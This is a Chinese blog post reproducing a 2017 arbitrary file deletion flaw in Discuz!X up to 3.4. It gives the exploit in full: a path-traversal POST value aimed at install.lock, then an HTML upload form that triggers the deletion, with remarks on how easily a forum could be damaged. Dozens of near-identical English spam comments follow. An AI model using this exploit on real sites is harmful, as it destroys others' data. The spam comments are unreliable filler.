前言：
复现下Discuz!X 任意文件删除漏洞
目录：
0x01：漏洞描述
0x02：影响版本
0x03：如何利用
漏洞描述：
Discuz!X社区软件，是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台
2017年9月29日，Discuz！修复了一个安全问题用于加强安全性，这个漏洞导致前台用户可以任意删除文件
影响产品：
Discuz!X ≤3.4
如何利用：
-
修改出生地
POST：birthprovince=../../../data/install.lock&profilesubmit=1&formhash=5a608602
URL：http://localhost:81/Discuz3.3/home.php?mod=spacecp&oc=profile&op=base
-
上传任一图片
<form action="http://localhost:81/Discuz3.3/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" id="file" /> <input type="text" name="formhash" value="5a608602"/></p> <input type="text" name="profilesubmit" value="1"/></p> <input type="submit" value="Submit" /> </from>
浅谈：
1：影响很大，在这个大家都不重视安全的环境里，等同于ODAY。
2：任意文件删除，如果别人要对一个Discuz社区做破坏的话，利用这个漏洞就十分简单
3：但无法重装，虽然可以删除install.lock，但是discuz在安装后，会删除install的index.php，所以无法重装。
成果图
参考地址：https://paper.seebug.org/411/
My wife and i have been quite more than happy when Peter could deal with his homework while using the precious recommendations he gained out of your weblog. It is now and again perplexing just to happen to be giving out guidance people today have been trying to sell. And we also discover we've got the website owner to be grateful to for this. The illustrations you have made, the simple web site menu, the friendships your site make it easier to promote - it's got many incredible, and it is assisting our son in addition to us reason why this subject is amusing, which is seriously vital. Thank you for the whole lot!
Thank you for your own effort on this website. My mother loves managing investigation and it is easy to understand why. My partner and i learn all concerning the compelling ways you deliver sensible solutions by means of the web site and as well cause contribution from other people about this content and our favorite princess is actually learning a whole lot. Have fun with the rest of the year. Your doing a good job.
Thanks for each of your labor on this blog. My daughter takes pleasure in doing investigation and it's really easy to understand why. Most of us hear all regarding the lively medium you give great guidelines by means of the web blog and even boost response from other people on that concern so our own daughter is now being taught so much. Take advantage of the rest of the new year. You're doing a glorious job.
I precisely wanted to thank you so much all over again. I do not know the things I would've carried out in the absence of the creative concepts discussed by you concerning that area of interest. It previously was a very scary crisis for me, nevertheless seeing the very skilled form you handled it took me to cry over contentment. Now i am thankful for your advice and then trust you know what a great job you're providing instructing the mediocre ones all through your web page. I know that you haven't encountered all of us.
I wanted to put you one bit of note to finally give many thanks once again about the gorgeous views you've discussed on this website. It's certainly strangely generous of you to convey easily all that most people might have offered as an electronic book to generate some cash on their own, mostly now that you might have tried it in the event you wanted. These pointers in addition acted to be a good way to realize that other people online have the identical zeal just like my own to realize very much more in terms of this condition. I believe there are lots of more pleasurable moments in the future for individuals that scan through your website.
I in addition to my friends were digesting the nice solutions from your web site and then quickly came up with a horrible suspicion I never thanked the site owner for those strategies. Those people appeared to be as a result excited to see them and now have actually been taking pleasure in these things. Many thanks for being well considerate and for utilizing variety of tremendous tips most people are really desperate to understand about. Our honest apologies for not expressing appreciation to earlier.
I wanted to compose you this tiny note to be able to thank you so much yet again for your breathtaking basics you've shown in this article. This is so strangely generous with people like you to allow freely exactly what a lot of people would've advertised for an e-book to help make some money on their own, precisely now that you might well have tried it if you desired. These good ideas likewise worked like the fantastic way to comprehend many people have the identical desire similar to mine to find out great deal more regarding this issue. I believe there are several more fun opportunities up front for individuals who read your website.
My husband and i felt now thrilled Peter managed to finish off his inquiry from the ideas he had through your weblog. It is now and again perplexing to simply find yourself freely giving steps that many a number of people might have been selling. And we also understand we need the website owner to appreciate for that. Those explanations you have made, the simple blog navigation, the friendships you will aid to instill - it is mostly fantastic, and it's assisting our son and the family reckon that that matter is thrilling, and that is particularly important. Thank you for all!
I would like to express my gratitude for your kind-heartedness in support of those people who really want assistance with your matter. Your real dedication to passing the solution all over came to be certainly insightful and has regularly made associates like me to achieve their dreams. Your entire helpful hints and tips means much a person like me and far more to my peers. With thanks; from each one of us.
I simply had to appreciate you all over again. I'm not certain the things that I could possibly have done without these tactics discussed by you on this subject. It has been a real difficult circumstance in my circumstances, but observing the very well-written style you handled that forced me to leap for fulfillment. I'm happier for the work and in addition have high hopes you know what a great job you're getting into teaching some other people with the aid of your web blog. I know that you've never got to know any of us.
I must express my affection for your kindness giving support to individuals who require help on that theme. Your personal dedication to getting the message up and down has been remarkably productive and has regularly helped employees much like me to achieve their objectives. Your amazing helpful instruction can mean this much a person like me and even more to my fellow workers. Regards; from all of us.
My husband and i have been now contented Peter managed to carry out his research via the precious recommendations he gained through your web page. It is now and again perplexing to simply always be handing out information some others could have been making money from. We recognize we need the writer to thank because of that. All the explanations you made, the easy blog navigation, the friendships your site assist to instill - it's mostly impressive, and it's really assisting our son and the family understand the topic is entertaining, which is pretty fundamental. Thank you for the whole lot!
My husband and i felt excited when Chris could round up his reports using the ideas he received through the blog. It is now and again perplexing to just continually be making a gift of information which often men and women have been trying to sell. And we also figure out we need the writer to thank for that. The main illustrations you have made, the straightforward blog navigation, the friendships you will make it easier to promote - it's got all astounding, and it is helping our son in addition to our family reckon that this situation is entertaining, which is highly essential. Thank you for all!
I wanted to write a small remark in order to appreciate you for all the amazing advice you are giving out here. My extensive internet search has finally been rewarded with wonderful facts to go over with my two friends. I 'd believe that many of us website visitors actually are unquestionably blessed to exist in a remarkable place with so many special people with valuable ideas. I feel really grateful to have come across your web pages and look forward to tons of more awesome moments reading here. Thank you again for all the details.
I precisely desired to thank you very much again. I do not know the things I would've tried without the hints provided by you regarding such a situation. It was actually a very traumatic situation for me, nevertheless finding out a professional manner you dealt with it forced me to weep with delight. I'm just happy for your help and even expect you are aware of a powerful job you're putting in instructing some other people via your site. I know that you haven't got to know any of us.
I want to express my appreciation for your generosity in support of women who must have assistance with in this content. Your very own dedication to passing the solution all-around turned out to be amazingly useful and has frequently permitted most people much like me to attain their dreams. Your own warm and friendly key points indicates a whole lot to me and a whole lot more to my office workers. Thanks a ton; from everyone of us.
I would like to express my appreciation for your generosity supporting persons who have the need for guidance on in this matter. Your special commitment to getting the solution all around ended up being particularly insightful and have continually encouraged guys and women like me to arrive at their objectives. This warm and friendly useful information means a great deal a person like me and substantially more to my fellow workers. Thanks a ton; from everyone of us.
I must show appreciation to you for rescuing me from this condition. After checking throughout the the web and meeting methods which were not helpful, I assumed my entire life was over. Existing minus the strategies to the issues you've sorted out as a result of the guideline is a serious case, and those which may have negatively damaged my career if I hadn't noticed your site. Your own capability and kindness in dealing with all the pieces was tremendous. I'm not sure what I would have done if I had not encountered such a point like this. I'm able to at this point look ahead to my future. Thanks a lot so much for the expert and results-oriented help. I won't hesitate to propose your web blog to anybody who desires tips on this subject.
Thanks so much for providing individuals with an extremely splendid opportunity to read critical reviews from this site. It's always very cool and also jam-packed with a lot of fun for me and my office peers to visit your web site not less than three times a week to read the fresh secrets you have. And indeed, we are at all times amazed with your awesome suggestions served by you. Selected 2 ideas on this page are honestly the most efficient we have all had.
I precisely wanted to say thanks all over again. I'm not certain the things that I could possibly have created in the absence of these methods discussed by you about that question. Entirely was a very frightening issue in my circumstances, but being able to see this professional manner you handled the issue forced me to leap for fulfillment. Now i am grateful for this advice and even pray you really know what an amazing job you're carrying out instructing other individuals by way of a site. I am sure you have never met all of us.
I just wanted to post a quick remark in order to say thanks to you for the amazing pointers you are sharing on this site. My considerable internet lookup has now been paid with professional tips to share with my best friends. I 'd declare that many of us website visitors actually are really blessed to exist in a superb website with so many marvellous people with beneficial strategies. I feel very much lucky to have come across your entire web pages and look forward to many more cool times reading here. Thanks once again for everything.
I want to show appreciation to this writer just for bailing me out of this particular matter. As a result of scouting through the the web and coming across basics that were not productive, I thought my life was gone. Being alive without the solutions to the issues you have solved all through your main article is a critical case, as well as ones that would have negatively affected my entire career if I had not come across your web site. Your personal expertise and kindness in handling the whole lot was priceless. I am not sure what I would have done if I had not encountered such a stuff like this. I am able to at this point look ahead to my future. Thanks very much for the specialized and sensible help. I will not think twice to refer your web page to anyone who should get direction about this problem.
I must point out my affection for your generosity supporting those individuals that absolutely need guidance on this particular field. Your personal dedication to passing the message across came to be exceptionally practical and have constantly permitted those much like me to arrive at their goals. Your own invaluable help implies this much a person like me and even further to my colleagues. Thank you; from all of us.
I definitely wanted to develop a small note in order to say thanks to you for all the wonderful suggestions you are giving at this site. My time consuming internet search has finally been recognized with useful facts and techniques to write about with my companions. I would assert that many of us site visitors actually are extremely lucky to live in a useful website with many wonderful individuals with helpful plans. I feel really grateful to have encountered your web site and look forward to many more excellent moments reading here. Thank you again for everything.
I must point out my affection for your generosity in support of those people who must have guidance on this important topic. Your personal dedication to passing the solution all-around turned out to be extraordinarily significant and have without exception made ladies like me to reach their dreams. Your amazing important hints and tips entails this much to me and especially to my colleagues. Warm regards; from all of us.
I simply desired to say thanks yet again. I'm not certain what I would've sorted out in the absence of the actual tricks discussed by you about such a field. Certainly was a fearsome problem in my position, but taking a look at your specialized technique you dealt with that made me to cry for delight. Now i am happy for the support and even sincerely hope you know what a powerful job that you're putting in training some other people thru your websites. Most probably you haven't come across all of us.
I definitely wanted to send a quick comment so as to express gratitude to you for the unique facts you are sharing on this website. My particularly long internet investigation has at the end of the day been recognized with excellent suggestions to go over with my company. I would tell you that most of us website visitors actually are truly lucky to live in a very good place with very many outstanding individuals with helpful concepts. I feel extremely fortunate to have discovered your entire webpages and look forward to really more pleasurable moments reading here. Thank you again for a lot of things.
I would like to express my appreciation for your kindness supporting those who really want help with the subject. Your real dedication to getting the message along became extremely advantageous and has usually enabled professionals like me to reach their aims. The warm and friendly guidelines can mean a great deal to me and substantially more to my office workers. Thanks a ton; from each one of us.
My spouse and i got so delighted that Raymond could do his preliminary research from your precious recommendations he came across through the web site. It is now and again perplexing to simply choose to be giving away tips that people today may have been making money from. And we do understand we now have the writer to appreciate for that. The entire explanations you have made, the easy site navigation, the friendships you can make it possible to promote - it's got mostly sensational, and it's facilitating our son and our family do think this content is awesome, and that is rather mandatory. Thanks for all!
I want to convey my love for your generosity for individuals who have the need for help on this important study. Your special dedication to passing the solution all over became surprisingly powerful and has usually empowered associates just like me to achieve their ambitions. Your own insightful tips and hints denotes a lot to me and much more to my colleagues. With thanks; from all of us.
I wish to express some appreciation to this writer just for bailing me out of this type of issue. Because of looking throughout the world wide web and seeing opinions that were not productive, I was thinking my entire life was over. Being alive without the answers to the issues you have resolved by means of your main article content is a serious case, as well as the kind that could have in a wrong way damaged my entire career if I had not discovered your web page. Your good talents and kindness in dealing with everything was important. I am not sure what I would have done if I had not encountered such a subject like this. I can also at this time look ahead to my future. Thanks for your time very much for your specialized and result oriented help. I will not be reluctant to refer your blog to anybody who should have guidelines on this area.
I would like to express some thanks to this writer for bailing me out of such a trouble. As a result of looking out through the search engines and meeting suggestions which were not productive, I was thinking my life was done. Existing minus the solutions to the problems you have sorted out by means of your site is a serious case, and those which might have badly damaged my entire career if I hadn't come across your site. Your personal natural talent and kindness in playing with all the pieces was excellent. I'm not sure what I would've done if I hadn't encountered such a subject like this. It's possible to at this time look forward to my future. Thanks for your time so much for the impressive and results-oriented guide. I will not think twice to refer your blog to any individual who should get counselling on this matter.
My spouse and i have been so happy that John could finish up his investigation from the precious recommendations he made in your web page. It is now and again perplexing to simply continually be releasing hints that many some people have been making money from. We really remember we've got the blog owner to be grateful to because of that. The entire illustrations you have made, the straightforward blog menu, the relationships you can make it possible to instill - it is many astonishing, and it is letting our son in addition to our family recognize that this idea is awesome, which is certainly tremendously pressing. Thank you for all the pieces!
Needed to create you one very little word to be able to give thanks once again over the amazing opinions you have documented on this site. It was surprisingly generous of people like you giving freely exactly what some people could possibly have supplied as an electronic book to get some bucks for themselves, mostly given that you might well have tried it in case you desired. Those creative ideas likewise acted as a easy way to fully grasp someone else have the same zeal just like my very own to understand more in regard to this problem. Certainly there are a lot more pleasant opportunities in the future for folks who scan through your blog.
Needed to compose you that very little remark in order to give many thanks over again for these splendid things you've featured in this article. This has been quite strangely generous with you to convey easily precisely what a number of people could possibly have made available for an e-book to earn some cash for themselves, most notably considering the fact that you could have done it in the event you considered necessary. These tricks additionally acted to be a great way to realize that other people online have the identical passion like my personal own to figure out great deal more regarding this matter. Certainly there are numerous more fun moments in the future for many who read carefully your site.
I needed to compose you a tiny note just to give many thanks over again for your personal unique knowledge you've documented on this page. It's certainly extremely generous with people like you to grant publicly exactly what many individuals might have supplied for an e book to get some money for themselves, precisely now that you might have tried it if you considered necessary. These strategies as well worked as the good way to be aware that other people have similar fervor similar to mine to understand whole lot more in terms of this issue. I am certain there are millions of more fun instances up front for individuals that start reading your site.
I really wanted to develop a brief message in order to express gratitude to you for all the magnificent ways you are showing on this website. My extended internet lookup has now been recognized with good quality knowledge to share with my close friends. I 'd claim that we visitors are really lucky to live in a superb community with many perfect individuals with very helpful tips and hints. I feel very privileged to have used the web pages and look forward to tons of more awesome moments reading here. Thanks once more for all the details.
My spouse and i have been absolutely thrilled that Peter could do his analysis while using the precious recommendations he made through the web site. It's not at all simplistic just to happen to be releasing thoughts that people have been trying to sell. And now we see we now have the blog owner to appreciate for that. The main explanations you have made, the easy blog navigation, the friendships your site help to engender - it's got mostly fabulous, and it's assisting our son in addition to us know that that issue is awesome, and that is particularly mandatory. Thank you for all the pieces!
I wanted to post a brief word to be able to appreciate you for all the lovely guidelines you are posting at this site. My long internet research has now been compensated with beneficial facts and strategies to write about with my co-workers. I 'd suppose that we visitors actually are undoubtedly lucky to exist in a really good community with very many wonderful professionals with insightful basics. I feel very much lucky to have come across your weblog and look forward to many more brilliant minutes reading here. Thanks again for all the details.
I wanted to create you that very small word to be able to say thanks again for all the splendid solutions you've provided on this page. It has been certainly unbelievably generous with people like you to allow unhampered all some people could possibly have offered as an electronic book to earn some bucks for themselves, primarily since you might well have tried it in case you decided. Those tips additionally served to become good way to be aware that other people have the identical desire similar to my very own to figure out a good deal more with regards to this condition. I believe there are lots of more pleasant situations ahead for those who scan your website.
My spouse and i got really fortunate Emmanuel could round up his basic research while using the ideas he came across through the weblog. It's not at all simplistic just to happen to be giving for free tips and hints which often others have been making money from. And we all do know we have got the writer to give thanks to because of that. The entire illustrations you made, the easy site menu, the relationships you will help create - it's all astonishing, and it's making our son and our family understand the content is entertaining, which is certainly incredibly mandatory. Thanks for the whole lot!
My spouse and i have been so lucky when Edward could round up his researching while using the ideas he gained from your very own web site. It's not at all simplistic to simply always be giving away tips and tricks that some other people have been selling. And we all discover we have got the website owner to be grateful to for that. The illustrations you've made, the straightforward web site navigation, the friendships you can make it possible to create - it's got many impressive, and it is facilitating our son in addition to the family reckon that this issue is exciting, which is certainly incredibly pressing. Thanks for all the pieces!
I must voice my admiration for your kindness supporting folks who should have help on this one topic. Your very own commitment to passing the solution across has been incredibly interesting and have continually enabled men and women much like me to get to their dreams. Your entire insightful guidelines entails a lot to me and still more to my office workers. Warm regards; from all of us.
I'm also commenting to make you be aware of of the helpful encounter our princess had reading through your blog. She realized plenty of issues, with the inclusion of what it is like to possess an excellent helping style to get folks with ease gain knowledge of a variety of extremely tough subject areas. You undoubtedly did more than visitors' desires. Thank you for giving those interesting, trusted, informative and even easy guidance on the topic to Emily.